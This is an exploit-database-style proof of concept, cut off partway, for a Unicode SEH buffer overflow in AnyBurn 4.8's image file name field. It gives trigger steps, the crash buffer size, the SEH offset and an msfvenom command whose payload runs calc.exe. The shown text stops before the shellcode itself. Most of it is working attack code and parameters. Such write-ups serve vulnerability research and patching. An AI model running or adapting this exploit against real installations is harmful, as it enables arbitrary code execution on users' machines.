`# Exploit Title: AnyBurn 4.8 - Buffer Overflow (SEH)  
# Date: 2020-03-09  
# Vendor Homepage: http://www.anyburn.com/  
# Software Link : http://www.anyburn.com/anyburn_setup.exe  
# Exploit Authors: "Richard Davy/Gary Nield"  
# Tested Version: 4.8 (32-bit)  
# Tested on: Windows 10 Enterprise x64  
# Vulnerability Type: Buffer Overflow/SEH/Unicode  
  
# Steps to Produce the Exploit:  
# 1.- Run python code  
# 2.- Open payload.txt and copy content to clipboard  
# 3.- Open AnyBurn choose 'Copy disk to image file'  
# 4.- Paste the content of payload.txt into the field: 'Select image file name'  
# 5.- Click 'Create Now' and you will see a crash and the payload launch.  
  
#!/usr/bin/env python  
  
#Set overall payload size  
crash_buffer_size = 10000  
#nseh offset for SEH overwrite  
nseh_offset = 9197  
  
#location in payload where stack alignment returns to for payload  
payloadret = 4459   
#payload filler  
junk = "\x71" * payloadret   
  
#Payload generated via msfvenom, easily changeable as padding is auto calculated  
#msfvenom -a x86 -p windows/exec cmd=calc.exe -e x86/unicode_upper BufferRegister=EAX -f py
